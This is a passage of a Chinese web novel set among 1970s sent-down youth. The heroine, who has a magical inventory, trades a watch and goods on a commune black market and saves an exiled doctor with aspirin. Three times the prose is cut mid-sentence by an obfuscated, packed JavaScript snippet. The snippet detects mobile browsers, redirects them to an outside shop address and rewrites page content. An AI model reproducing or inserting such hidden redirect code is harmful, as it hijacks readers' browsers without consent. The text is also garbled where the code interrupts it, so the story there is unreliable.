徐三婶哪里好意思吃,可想到之前与林见春说过的话,又看小宝满是天真懵懂的眼睛,最终还是厚着脸皮认了这份情。 “……隔几天给小宝吃半块就行,吃多了容易积食。” “都行呀,婶子看着拿吧,我不往屋里收。” 说完,林见春就出了门。 自行车在徐三婶家院里放着,是她昨晚趁黑一路从村长家扶回来的。 林见春一路扶着走,边分心清点“背包”里的东西。 这三天她专门凑到吴村长家附近“签到”,除了手表这个意外之喜,余下两次分别收获了3斤大米和1个鸡蛋。 今天这次机会她省着没用,准备到了公社供销社再试。 至于别的。 前头她交给徐三婶的5斤米、2斤面,估摸着一天也就消耗3两米,面到现在一顿还没吃过,照这样的吃法,光是知青补贴那20斤粗粮和5斤细粮都够徐三婶计划了。 可林见春没亏过嘴也不想吃这亏,所以计划着回去就把知青补贴的粮也全部交给徐三婶,免得她住着人家的屋,吃的还要人贴补。 一路盘算着出了东旺大队,林见春瞧着路上没人,干脆骑上了车。 28大杠有点高,她这身形确实不好骑,不过也不妨碍她蹬半圈,就是姿势不好看,跑起来倒也挺快。 个把小时的脚程没多会儿就蹬完了,到了公社,林见春继续一路扶着车逛,先找到邮局把信给寄了,一封寄给家里,一封寄到海城。 出了邮局,林见春才寻着路找去了供销社。 砂河公社不大,供销社也只是一栋平房,里面摆的东西自然没多齐全,像自行车、缝纫机这些大件根本没有,手表更是看不到影。 林见春有些遗憾,不过公社条件就这样,总比大队上好,所以看了一圈下来,林见春也就按计划在这儿“签到”了。 这次收获倒是有些特别——1盒雅霜雪花膏。 妈每年冬天都会买那种自己带罐去装的散装雪花膏,用起来滋润,足够保障他们一家子的脸不会被冬天干冷的风吹皲,但学校里也有家里条件好的,林见春听她们聊得多了,自然也就知道了雪花膏也有贵价的。 像她们家用的散装雪花膏装一罐至多一块钱,能够一家子用过整个冬,从上海那边销过来的美丽牌、雅霜,一盒却要好几块,其中雅霜是最贵的,友谊商店里一盒就能卖到3块7。 林见春没想到自己来一趟公社居然还白捡一盒雅霜,险些没当场笑出声来。 一旁售货员看她神色不对,表情立马就严肃了。 “同志,你是想买什么东西吗?” 林见春赶紧回神,看了一圈,抬手点了下货架上的油灯。 “同志,这种油灯怎么卖啊?” 徐三婶家一般入夜前就回房了,天黑之后也没见点灯,林见春想着夏季夜短,暂时还用不着点灯看书,但等天气一变,她总不能也一入夜就上床睡觉吧? “油灯1块8,灯肚儿里有2斤洋油,用完之后可以去粮油站打,洋油1斤3毛。” “咱这儿没有洋油代销哇?” “粮油站又不远,出门往左走个一里路就是了。” 砂河公社就那么大点儿,哪至于什么东西都给他们供销社代销。 林见春有些气馁。 不当家不知柴米油盐贵。 她现在虽然吃着“白捡”的口粮,但一出门才知道哪儿哪儿都得用上钱,亏她之前还立志要攒钱往家里寄,当真是狂妄了。 11. 方哥 林见春不想动存折和那些凑整的钱,沮丧地出了供销社,将带来路上这样的头巾拉低了一些,稍作伪装,扶着自行车一路在公社乱逛起来。 三哥是个不安分的,林见春也跟着他瞎跑过,所以大概知道“小黑街”都在什么位置。 砂河公社不大,“小黑街”也比龙塘的好找,没多会儿林见春就站到了一处四合院门口,借着裤兜遮掩拿了1颗奶糖招呼上翘着二郎腿坐在门口的青年。 “大哥,我听说咱们这儿可以换东西是不?” 青年把林见春从头到脚打量了一通,“我们这儿可不兴搞这些。怎么,你家有用不上的东西想换出去啊?” 林见春作无奈表情,“可不是嘛,家里三哥要结婚,双方父母都见过了,可我三哥混不吝,说好了买手表结果买了个男式的,嫂子那头不大乐意,这不,家里就叫我想办法给换成女式的。” 说完,林见春在心里给三哥和没见影儿的三嫂道了个歉。 这话也不知道信没信,青年的视线又看向她推的28大杠。 正规行货出厂都是挂了牌,他看了,的确是砂河公社的。 心头有了计较,青年却没表露出来,二郎腿一放就摊手让林见春把东西拿出来看看。 “我早想弄块表戴戴了,你给我瞅瞅你家三哥买的。” 林见春把自行车靠好,拿出手表递给了青年。 青年反复看了几遍,确定表是新的,心头满意了,“说实话,这表不止你三哥喜欢,我一看也觉得好。不过嘛,我这儿也没有女式的手表,你要是愿意,我给你158,你自己去找找手表票,再重新给你三嫂买一块女式的。” 她这块手表是普通的钢表,在商场里只要120来块和一张手表票就能买到,花158块买下十分合情。 林见春犹豫了。 她的本意是给自己弄一块手表方便看时间,可她还要买别的东西又不想花放好的钱,那这手表直接卖掉倒更合适了。 青年不清楚林见春的想法,见她犹豫,只说最多再给她添1块。 “说实话,我家这儿不说什么东西都有,但平常用得上的那指定是不缺的,妹儿就当给哥随个人情,今后帮得上的都来找哥,哥指定给你办妥。” 林见春心念一动。 强龙不压地头蛇,如果公社这边真能有个可以走动的人情,真遇上什么事儿,她也不至于完全没有主意。 “好吧,那我再想想办法找手表票。” 这事儿就说成了。 青年面上一喜,当即站起来让林见春跟他进去。 林见春也还有别的打算,没推脱,只说这车不好放。 “嗐!推进来放门后头,有你方哥在,没人敢动你的。” “小黑街”也是有规矩的,这位“方哥”哪怕不是管事的也是主事之一,林见春会了意,也就把车扶进了门。 门后的院子才是真的另一番天地。 这会儿在院子里“换”东西的人不少,大家都做了伪装,谁也不认识谁,见有新来的也不关注,只管埋头“换”自己的。 林见春看了下他们手头的东西,除了票证之类,更多的还是一些农副产品,至于从方哥这边换的,品目可就有些多了。 方哥没带林见春在院里多待,走到一间屋门前敲了两下,很快就有人从内拉了一条缝,方哥顺着缝把手表送进去,没多会儿,里面就送出来一叠钱。 当着林见春的面,方哥从里头抽了一张大团结和单独的1块,剩下的才全拿给了她。 “人情哥就收下了,剩下的你点点。” “……” 这是轻松转手怒赚11啊! 林见春嘴角抽了抽。 但价格高低那是别人谈价的本事,就这样还算她白捡了个人情,反正也不亏,没必要在这种事上反悔。 “方哥,如果我家有吃不完的米面想换别的东西是个怎么换法啊?如果家里要办事,油盐、肉菜不够,想换又是怎么个换法?” “签到”所得更多的时候就是米面蛋粮,加上新知青补贴,她是缺不了口粮的。 只是油盐酱醋的都有定额,平时想买很难,肉食品更是紧俏,她总不能一直干吃饭,不沾油水吧? 方哥托着下巴冲林见春挑了一下眉,“妹儿别是今年刚下乡的知青吧?” 这年头能吃饱就不错了,谁家会有多的粮食拿出来换其他?还想买油吃肉,要不是城头的知青,他得把头摘下来给人当凳儿坐。 瞒肯定是瞒不了的,林见春没打算全然掩饰,正好她也需要“城里人”的身份来掩饰自己那些东西的出处,所以没正面回话,只当默认。 “行吧。你要是有吃不完的细粮,哥还是建议你直接换成钱,不要票大米一斤2毛,精面一斤3毛,钱嘛,越多越好。至于肉菜,这东西在哪儿都是行销货,哥也给你打不了包票,平时顶多给你留点儿蛋啥的,勉强算个荤腥。” 居然比自己散着换出去的贵那般多! 林见春突然意识到自己之前在家属院换东西的行为有多冒然。 在老林家十几年,可以说打她有记忆起就没亏过嘴,所以想当然的忽略了大部分人还处在缺粮的境况。 明明三哥时常在外头混,又知道她身上有些说不清道不明的事儿,可她却想当然的以她自己的见识来处理这些东西。 也亏得那些婶子阿婆都是好的,不然早就闹出事儿来了! 见林见春露出来的半张脸不太好看,方哥也没多想,只当她是不乐意没换到好东西,“你也别衰样儿,我这儿的好东西一般早间就能销完,要么你下回来早点儿,指不定还有剩余的给你留着。” 林见春收回心神,无声地呼出了一口气,“好,劳烦方哥操心啦。” “甭客气了。” 林见春正要走,突然想起自己原本是要换点东西出去好买油灯的,当即停步,不好意思地朝方哥笑了下,“方哥,你这儿有油灯吗?” “有啊,不过可没全新的,你要的话给我1块2。” 林见春当然愿意要! 反正都是换,林见春正好把其他东西也问清楚了。 “方哥爽快,我也不跟方哥藏着掖着了。我家有两个多出来的暖水瓶,一支手电筒,三个搪瓷碗,都是全新的,要不你帮我看看怎么换?我要一个油灯,10斤洋油,如果有得多,我还想要点鸡蛋和清油。” 方哥表情一言难尽,大意是“你咋啥东西都拿出来卖”。 不过问价问价,他也没当回事,毕竟东西都是拿出去卖的,连个土陶碗也是有人要的。 “暖水瓶全新的可以给你算3块5,手电筒给你算1块8,搪瓷碗这东西没啥稀奇,但你的是新的,也给你算4毛一个吧。至于你想换的,鸡蛋得7分一个,油1块8一斤,洋油我这儿也不多,匀10斤给你,你给我5块。” 油灯和灯油就得6块2,她这些零杂东西只能换到11块,买油也买不上多少。 钱真不经用。 “……方哥要不要电池。” “你有用不上的就给我呗,给你算5毛一节。” 5毛看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998431|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着不多,可她有8节,拢算也好几块了。 “那方哥等我会儿,我去取来。” “成啊。” 林见春特意扶着车在公社转了一大圈,现买了一个背篓才找了个角落把东西一股脑收拾出来,再回四合院,院儿里的人已经没几个了。 不过都是先谈好的,方哥就没跟她闲摆,直接收了东西,问她要多少清油和蛋。 林见春想了想,道:“油要3斤,剩下全换成蛋。” 方哥也默算了一笔账,“成,3斤油,剩下的能再换四十几个鸡蛋,我给你整个篓子多垫点儿草,免得一路颠回去全打了。” “谢谢方哥。” 换回来的东西比较多,林见春只敢扶着车一路走出了公社,等走远了些,确定周边没人,她才连同背篓一起收进了“背包”,一身轻松的蹬着车往东旺大队赶。 临近大队林见春才停下来取出背篓整理东西。 油灯暂时用不上,所以没必要现在就拿出来过眼。 换回来的油和鸡蛋比较多,就数了20个鸡蛋、分好2斤油存回“背包”,又分了1斤猪肉、1斤盐出来。 想了想,肥皂也单拿了一块出来跟盐放到一起。 这些都是要拿给徐三婶的。 端着满满一篓子东西,徐三婶绷住的表情彻底裂开。 “你是打算拿鸡蛋当饭吃吗?” 前头林见春才拿了25个鸡蛋,就是她们三张嘴一天两个的量,那鸡蛋也还剩得19个,这才几天,这姑娘又不知道从哪儿换回来一堆,乍一看有二三十个,怕不是算好了一个月的量。 林见春缩了下脖子,“鸡蛋养身体。” 她在家时就是一天一个鸡蛋没断过,下乡又不是为了让自己吃苦,总不能一来连蛋都不能吃了吧。 徐三婶说不出话来,沉默了一会儿,只说她和小宝都不吃了。 “别啊婶子,鸡蛋才几个钱!我住你们家可没给钱,平时还蹭吃蹭热水,你们要是连几个鸡蛋都不愿意吃,我哪儿还敢蹭?” 徐三婶抿着嘴不说话。 林见春只好耍赖,“我不会做饭,平时全靠婶子照顾,婶子每天还给我烧水洗澡。往小了说我这是占婶子便宜,往大了说,怕是得被批成资本做派。所以婶子就听我的吧,咱就当亲戚处着,以后就算叫别人看了,咱也是吃一锅饭的实在亲戚,那可没什么别的话说了。” 徐三婶还是不说话,林见春知道过犹不及,也不劝了,嘻嘻一笑,从背篓里把东西全捡出来放到桌上,背起空背篓就往屋里跑,没多会儿,背篓装上从大队领的知青补贴又跑了回来。 这回,林见春直接把背篓也一起给徐三婶了。 “吃喝全靠婶子了,我屋里也不放粮了,婶子拿去锁一起,免得遭虫咬了。那肥皂是给婶子的,家里吃的菜有油水,小宝容易弄在衣服上,皂角洗不干净,婶子打着肥皂搓好洗点。我还要去村长家还车,婶子你看着时间做饭吃啊,今晚就把肉烧了,免得天气热放坏了!” 一股脑把话说完,林见春直接跑出去还车。 还车也不可能空手还,只是青天白日的,各家劳壮都在地里忙活,家里也就半大孩子带着小的,林见春只能挑村长家最大的孙孙说话,一把拿出来5颗硬糖,叫他拿去给底下的弟弟妹妹分。 “一会儿你可得给你爷爷提醒下车已经还回来了啊!” 吴村长孙子的眼睛早黏在了糖上,闻言直点头,等糖真入口了,才想起去看还车的人。 可林见春已经走出几丈远,只好收回了视线。 12. 牛棚 夏季菜多,徐三婶家的自留地种了好些当季的时蔬,晚上就直接摘了些新鲜菜和肉一起炖,又沿着锅边贴了一锅玉米粑粑,锅里油水足,玉米粑粑也蒸出了油气,光闻就香得人迷糊了。 小宝从没闻过这么香的味道,含着手指口水直流,看得徐三婶一阵心酸。 再一看林见春也是眼含期待,只比小宝好不到哪儿去,这阵心酸当头便被吹散了。 “炖的菜多,就不煮饭了。” 煮多了吃不完,天热容易酸,林见春自然没意见。 有玉米粑粑就够了。 林见春感觉自己已经好久没这么好好吃一顿了,回头一算,她下乡也才4天时间,一时间眸色氤氲,咬着肉吸了吸鼻子。 明天又得下地了,也不知道她去找牛队长说她不想干能不能成。 今天没干活,徐三婶就没按工时来做饭,所以吃过饭天也还早,林见春不想出去闲逛,索性打了点烧锅之后借着柴火余温热着的水擦洗了一下,就窝到床上看起了书。 前几天干活干得浑身都痛,晚上沾床就睡,根本没有余力看书,这会儿再拿起书本,林见春就不免看入了迷。 她喜欢千变万化的算法,也喜欢优美华丽的词藻。 她想算出万物的真谛,也想体会那些文字中未能言明的深意。 边看边写,不知不觉中天色就已经暗了下来。 光线阻碍视线,林见春才从书本里抽身。 她估摸了着时间,知道再不睡明早起床又得难受,可是她的精神又处于亢奋状态,一遍一遍在脑子里验算错得最多的题例,翻来覆去不知多久才终于睡了过去。 一觉醒来,新知青也得正式上工了。 林见春本来对施肥也没什么特别的感触,只是等闻到真正的粪肥的气味,她才知道她是高估了自己的。 ……她是真不想吃苦,带气味的苦更不想。 不过没难受多久,林见春就发现他们知青这一队人已经远离了堆粪的池子,一路朝着山脚的玉米地去。 “李知青,前天不是说我们要协助追肥吗?” 李俏俏这会儿才真显了些俏皮出来,“是啊,我们负责给玉米地排沟清渣,等其他社员把稻田那边的肥追完正好过来给玉米地追肥。” “……” 好吧,排沟清渣确实也算协助了。 李俏俏“哈哈”笑,“放心,不止我们不想去追肥,牛队长也不敢让我们去做,毕竟追肥这事儿关乎产物,万一做得不好可是会影响收成的。” 林见春一想也是。 她和妈在家里连花都养不活,队长要敢给她安排正经农活,她还怕来年被社员生吃了呢。 排沟做起来不难,学着老知青的样子,林见春也磕磕绊绊地开了好几列出来。 只是玉米穗子多,稍微一动荡就有穗须落下来往衣领里钻,再加上枝叶遮挡,玉米地里比外面热得多,又是汗又是玉米须子,弄得她浑身刺挠,要多难受有多难受。 冯悦也差不多,唉声叹气地凑到林见春身边抱怨,“这好难受,还不如去锄草呢。” 前几天他们锄的是旱田,自然没有玉米地这样恶劣的环境,顶多就是手和腿不舒服,不像现在,全身都难受。 林见春觉得哪一个都不好,叹了一口气没说话。 实在热得很计分员也是同意知青休息的,毕竟知青下乡的目标是支援建设,真累出病来知青办那边也不会让公社大队好过。 林见春也不靠挣工分吃饭,所以计分员一开口她就该休息休息,绝不苦自己。 不过要休息也是在地埂上坐着,林见春带了毛巾和杯子,这会儿正好擦擦汗喝点盐糖水补充一下体力。 其他知青也有真不缺钱的,所以坐下来休息的人就多了。 这么热的天农活干着不轻松,大家都累得够呛,就算坐下休息大家也没有闲聊的欲望。 林见春乐得清净,脑子里不断演算昨晚记下的题,就这么端着杯子放空了一会儿。 这份清净没持续多久,坐在旁边的知青被什么惊扰蹭地站了起来,林见春回神看过去,不等看清这知青,思绪就被远处的惊声呼喊给拉了过去。 玉米杆子遮挡了视线,林见春也只能站起来看,可她人不高,站起来也视线受阻看不真切,无奈左右调整,这才看清声音来源是山脚的牛棚。 “什么动静?” 新知青好奇,老知青却稳如山斗。 “别去,那都是下放的坏分子,而且他们之中有学过医的,就算有事也比我们过去帮倒忙的好。” 他们这些知青基本都是城里的工人子弟,家里必须按要求送一个下乡支援建设,要么就是高中毕业响应号召,真有本事救人也不会走这一步了。 在场的新知青一听出事的是下放改造的人,顿时犹豫了起来,倒是李俏俏看了说话的老知青一眼,扭头跟一同休息的女知青知会了一声。 “我去找牛队长。” 李俏俏是老知青,在场的人大多知道她的秉性,所以见怪不怪,等注意到林见春,才发现她不知道什么时候已经走出了几丈远,还是朝着牛棚的方向,一时面面相觑。 因为知青借住的事,李春景在知青点的“声望”又进了一层。 原本他有些别的打算,可惜林见春压根儿没住进知青点,原本在的李俏俏也搬了出去,剩下的都是普普通通的知青,所以哪怕隐隐成了知青点的总负责人,他这几天的心情也没见得多爽快。 这时候敢往牛棚凑,也不知道是喜欢看热闹还是好心泛滥。 李春景看着林见春的背影,千回百转的心思顿时又活泛了起来。 “林知青,牛棚那边的人性格都比较左,你想凑热闹也等牛队长来了再跟着大家一起过去。” 是又在给她定性? 林见春面无表情地回望,知青队伍里心思透亮的都莫名读懂了她眼睛里的兴味。 “不好意思啊李知青,我这人就是喜欢凑热闹,等不了牛队长过来了。” 几个知青蹙然埋头,生怕笑声憋不住漏出来。 李春景哪儿能不知道自己成了笑话,脸色一沉,嘴巴却硬得要命。 “我也是为林知青好,你既然不听劝,以后真出事儿了也别怪我们没劝着你。” 林见春淡淡然“哦”了一声,不管李春景的脸色有多难看,很快就走得只剩小小的一个背影。 东旺大队实际上是没有养其他牛的,所以牛棚这边只是一联排四面漏风的木屋,外头圈了几块地做羊圈,养了五六头瘦瘦巴巴的山羊。 这会儿牛棚里已经安静了下来,林见春不确定是因为自己的脚步声还是别的什么,但来都来了,不掺和一下岂不是白来? 林见春脚步没停,走到门边抬手轻敲。 其实敲不敲门也没多大区别,牛棚的门就是两扇破板子,掩实了也露着缝,遮不住人。 林见春敲门一是表示礼貌,二来也是一种善意的释放。 “我是知青林见春。请问是出了什么事吗?李俏俏同志已经去找牛队长了,我那边的活儿干得差不多了,先过来看看有没有帮得上的地方。” 门内的人并没有围在一起,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002962|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以透过门缝,林见春也看到了大概的情况。 只是躺在床上的人被一个身形瘦削但肩背挺直的人挡住了面容,她又不好探头探脑地去看,所以也分辨不了人是生病还是受伤。 听完林见春的话,挡在床前的人回过脸来,竟然是个已经瘦得有些脱相的青年,看起来并不比三哥大多少。 林见春没多看这个年轻人,视线一低,看清了床上的老人。 老人满鬓霜白,面颊也只有一层薄薄的皮包裹着骨头,此刻双眼紧闭,嘴里咬着一条木棍,手掌也被青年捏在手里。 林见春心知这青年大概就是牛棚这边会医的那个,不过她也不懂医,不好多嘴,便只等着他们做决定。 青年的眼睛很黑,睫毛也长,看向别人时会让人觉得他特别真诚,不过这会儿林见春被注视,却从他的目光里感受到了极度的失落、甚至绝望。 “多谢你,老师是突发心梗伴随肺炎并发,就算送到公社医院……那边也不会批药。” “……” 林见春一时语塞。 家里并不把她当作象牙塔的女孩儿来教养,所以广播和报纸上一些写得浅表的报道林正也曾掰碎了讲给她和三哥听。 光明之下亦有黑暗之地。 这几年不知道有多少曾经参与过革命的忠义之士倒在了光明彻底到来之前,看着熟悉的人名接二连三的出现在报道之中,林正和冯雪华只觉满心无力,甚至在风声之下过得愈发谨小慎微,生怕一个不小心牵连到子女。 林见春不知道这些被下放到东旺大队进行思想改造的人曾经过往好歹,但生死面前,所有没被国家法律制裁的生命都是平等的,叫她眼睁睁看着这些曾经饱受战争侵害的人形销骨立、连病痛中都无力为自己争取,她实在做不到无动于衷。 “这位……老师需要什么药?可以经人代买吗?” 青年定定地看向林见春,张了张嘴,最终还是在其他几位老者期待的眼神下报出了几个药名,“哌替啶和地尔硫卓最好,如果没有,硝酸甘油也可以。” “……” 这几样药林见春在龙塘听都没听过。 “你说的这些药,公社医院应该能买到吧?” 青年也后知后觉。 突发心梗少有能抢救回来的,老师能撑到现在还是因为早些年一直过得不错,也一直为了有体力在战场上支援战友而坚持强健体魄。 可,被清算、下放、劳改,那些人就没打算让老师好过。 老师也怕接受其他人的救济而牵连他人,所以才万般克制,身体状态每况愈下。 实际上,东旺大队的人已经对他们很宽容了,除非有人下到大队清查他们,这个大队的社员不会轻易为难他们,可劳动改造是没有相应的劳动所得的,他们只能靠着牛队长和大队上的救济勉强过活,夏季还好,到了冬季才是生死有命。 “……我不确定。如果有阿司匹林也可以。” 林见春眼睛一颤。 阿司匹林?可不巧了吗? “你们等我。” 林见春脑子还没糊涂,所以哪怕马上就能取出来药片,她也得先回一趟住处假装药是随其他家当一同带过来的应急的。 她人一跑,牛棚的破屋里几个老者顿时面面相觑。 “这小姑娘靠谱吗?” “……老陶都这样了,也只能寄希望于他人了。” “再坚持坚持……我再写封信回去让老友帮忙想想办法,好歹把老陶弄回去。” “……” 这不比寄希望于小姑娘更难吗? 13. 施药 林见春不确定老先生的情况还能坚持多久,回徐三婶家点了一脚就掉头往回跑。 牛队长那边也不知道去了哪儿,她一路跑到牛棚,去找牛队长的李俏俏也还没影儿,不过在玉米地干活的知青都看到她去而复返,好奇心作祟,一群知青结着伴儿跟了过来。 见林见春回来的急,几位老者也是心头一紧,等她大大方方的拿出一个小纸包交到青年手里,他们才难以置信地将她从头到脚打量了一遍。 “小姑娘下乡还带着心疾的药?” 林见春只催青年赶紧确定药有没有用,等他点了头,林见春才释然地笑着与几位老先生回应。 “下乡前我晕倒过一次,医生没检查出毛病,爸妈怕我下乡之后再犯,或是有个头疼脑热的,就让医生帮我开了药片。” 说话间,青年已经压着老者的喉舌把一片药给灌了下去,听着林见春的解释,一时有些无言以对。 “阿司匹林是强效药,更适用于心血管疾病和抗炎、抗风湿,头疼脑热更多是风寒感冒的病症,贸然用药很可能会出现胃肠道出血的情况。” 林见春尴尬地挠了挠下巴,厚着脸皮把责任推给不知名的医生。 “我也不懂,是医生开的。” 青年表情更是一言难尽。 不过有些话不好明说,青年只得绕过这个话题。 “谢谢你慷慨施药,我叫陶文斌,下放前一直随老师研究心脑疾病,不过普通病症我也能看,真有不舒服,你可以直接过来找我开方。” 虽然不是专病专治,但至少比直接拿阿司匹林预防头疼脑热的庸医强。 林见春暗自羞愧,垂着眼道了声“不客气”。 其他老者见陶文斌紧绷的情绪已经缓和下来,心知老陶目前应是没有生命危险了,顿时心绪一松,也各自跟林见春搭起了话来。 牛棚一共住着五老一少,陶文斌和他老师陶兴陶大夫、首都图书馆的前馆长鲁豫达、首都大学生物学教授仇梦,还有就是曾经留过洋又回来报效祖国的学者凤于飞、杨谯。 他们于政治上没有犯过太大的错误,下放改造纯是因为海外关系,不过他们早年的确是资本家庭背景,革命胜利后并没有警醒自身,这才被人举报,罚没家产下放改造。 林见春听多了林建业时不时冒出来三两句的“歪言”,这会儿心底竟然也生出了一种名为“荒诞”的怪异感。 但林见春还是清醒的,所以哪怕心中不认同某些观念,此刻她也依旧没有抒怀,而是平静地面对在场每一位正在接受改造的人。 “咱们大队有给你们安排农活吗?我下乡也好几天了,上工时没见过你们。” 这几个人都瘦得可怕,但平时应该是有吃东西的,不然早该因为过度饥饿而浮肿了。 五人之中,鲁豫达要健谈些。 听林见春语气只有好奇,鲁豫达也笑了,“有的,我们负责开荒,但夏季没什么雨水,开荒进展不乐观,就先歇了。” 跟知青一样,这些下放的教授学者都是没下过地的,所以大队上也不放心他们干正经农活,正好乡里很多荒地,这几年就划了一些让他们开,像今天由着知青排沟的玉米地就是这两年开出来的。 当然,夏季不让开荒除了土地情况不好,也因为他们几个的身体遭不住。 大队每年的收成大多都充公粮交到了公社,家家户户都不见得能吃得多饱,下放改造本来就是带着某些目的,东旺大队平时能接济一些已经是仁至义尽,做不到让每个人都过得好。 身体不好,自然不好干太重的活,所以只管每天打点草喂羊,其他时候闲着也就闲着了。 牛棚的境况一眼就能看清,林见春扫了一眼,也看到了带着新土痕迹的灶台放着的半袋粮。 这半袋粮大概有3斤,里头是黄豆和大米混装,除此之外,地上的烂篓子里还有一些红薯和土豆,可见平时都是这么一锅煮。 但林见春一天能吃二、三两米,徐三婶那边混着粗粮做,那每天也至少能消一两,他们这儿五男一女,其中一个还是青年,这么点东西也不知道够吃几天。 不过,跟过来看热闹的知青已经走到了门口,有些话可不好让他们听到。 “林知青,林知青……” 林见春扭头去看,就见说话做事不怎么过脑子的知青武琪正冲她挤眉弄眼。 人多起来,林见春不好在牛棚里面待着,跟几位老者点头致意后就出去了。 这些知青哪怕想看热闹也不想跟下放的人沾边,林见春一出来他们也松了口气,抓着她就问发生了什么。 不过还没等林见春解释,李俏俏就跟着牛队长一路跑过来了,连带着还有赶牛车的良大爷。 “是谁病了?” 牛队长的表情不是很好。 现在虽然不是农忙时节,可大队每天要处理的事情还是很多的,村长又是个不管事的,搞得他从早到晚就没个停歇的时候。 他也知道,下放到他们大队的人都不是什么大奸大恶的,可劳动改造和下乡支援是完全不同的概念,公社时不时会安排人过来对他们进行批斗教育,如果把他们养得太好,到时候遭罪不说,他们大队也讨不到。 这几个下放过来的人心里也清楚,所以平时很少找大队解决问题,有个小病小痛的,基本都自己进山拔点草药治治,这回闹到找他,也不知道是病得多严重了。 牛队长心头烦。 治病需要的钱还是小事,真闹到那伙人耳朵里,他治也不好,不治又过不去心里那关。 怎么个事儿! 心梗急救是重中之重,陶兴已经吃了药,药效一上来,人也安然地睡了过去。 陶文斌不确定林见春这药方不方便告知其他人,捏着衣兜里剩的那一片,站出来跟牛队长道了一声谢。 “老师是突发心疾,现在已经缓过来了,一会儿我上山看着采些药,熬给老师喝了就没事了。” “行。”牛队长心底松了一口气,又看屋里的情况,干巴巴地补充:“一会儿我让人给你们再送点粮。” 公社有公粮,大队上自然也得存一些以备不时之需,牛棚这些人的口粮有一部分就是从公粮里出的,再要接济,就只能牛队长自己想办法。 林见春不清楚这回事,视线从牛队长脸上移开,只默默盘算着找机会也给牛棚送些东西过来。 她可瞧见了,陶文斌老师头下枕着的分明就是书本,她送点儿东西,正好可以问问能不能借阅。 牛棚这边事了,知青就不好再歇着了,一窝蜂跑回玉米地,又埋着脑袋干起了活。 等一身酸痛的回了徐三婶家,林见春实在忍不住难受,先从锅里打了水去水房冲洗,等一身清爽的回了堂屋吃掉徐三婶单给她留起来的饭菜,才躺回床上去扒拉“背包”里的东西。 东西就那么多,大米林见春不打算动,所以顶多给牛棚送几斤面粉过去。 陶文斌还好,就是瘦得有些厉害,精气神看起来还挺好,几个老人却有些虚,多半是吃不饱亏了根本,这种情况只能用细粮养,林见春根本没办法,所以挑挑拣拣,又给分了1斤白糖和2斤盐出来。 拿了这些,林见春也没的可送了。 到这时,林见春是真心开始后悔之前换出去太多大米,而且意识到每次做事她都不太给自己留余地,但凡之前少换一些东西,或是这次补贴的粗粮没有全部交给徐三婶,也不至于只能拿些面粉过去。 算了,先给这些,大不了之后去公社再换一些东西回来接济。 送东西也不好直接送,得背着些人。 林见春拿了书看,时间也算过得快,等入了夜,轻手轻脚地出了门,一路从暗处绕着走,十好几分钟才走到牛棚的位置。 牛棚里没有声响,应该是入夜就躺床上睡了,但林见春可没什么做好事不留名的想法,所以还是敲了敲门框。 等了会儿,林见春听到了鞋子踢踏的声音。 “谁?” 是陶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006954|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文斌。 “是我,知青林见春。” 陶文斌开了门,借着月色打量林见春。 白日里林见春一身尘土,脸上还有汗,加上老师病重,他实在无心关注其他,这会儿再见林见春,才看清她不过是个十几岁的小姑娘。 小姑娘虽然不是一眼惊艳的容貌,却算得上明眸皓齿,容易让人心生好感。 加上她目光清正,此刻在月色下镀了一层光,莫名让人觉得她身上有一种如水的温润。 林见春不知道陶文斌在想些什么,只是看他目光怔愣,以为他是被吵醒还没回神,抬手掂了掂怀抱的东西,小声与他解释。 “我看几位老师身体都不太好,给你们送点糖和盐,实在头晕或者无力就冲点盐糖水喝喝。还有几斤小麦面粉,陶医生大病一场,接下来还是吃点好的才有利于恢复。” 牛棚后面就有山,虽然不高,但往深处走一走还是能找到一些东西的,现在又是夏季,野菜也不缺,顶多就是稍微老了点儿,吃起来不怎么爽口,再有了这些面粉,不管是做点野菜包子还是调了面糊蒸点野菜饼都行。 陶文斌没能从愣怔中醒神。 他和老师乃至其他长辈被下放之前大有“何不食肉糜”的天真,直到自己体会到了饿到抓心挠肺的感觉,他们才通过眼睛看到了底层人民生活的艰辛。 对于活得艰难的底层人民来说,食物何等珍贵。 为什么一个萍水相逢的人,会把珍贵之物当作寻常相赠? 图名? 图名的人不会趁着夜色来,也不会顶着那些人的恶意出手。 图利? 他们这些人身上又有何利可图?就算是为了他和老师的医术,凭白日里以药相救的恩情,他和老师今后也不会错过任何可以相助于她的机会。 林见春在陶文斌不断延伸的思维找到出路前,直接将面粉和糖、盐塞进了他怀里。 “我白天注意到你们这儿有书,冒昧问一下那书是哪方面的?不知道能不能借给我看看。” 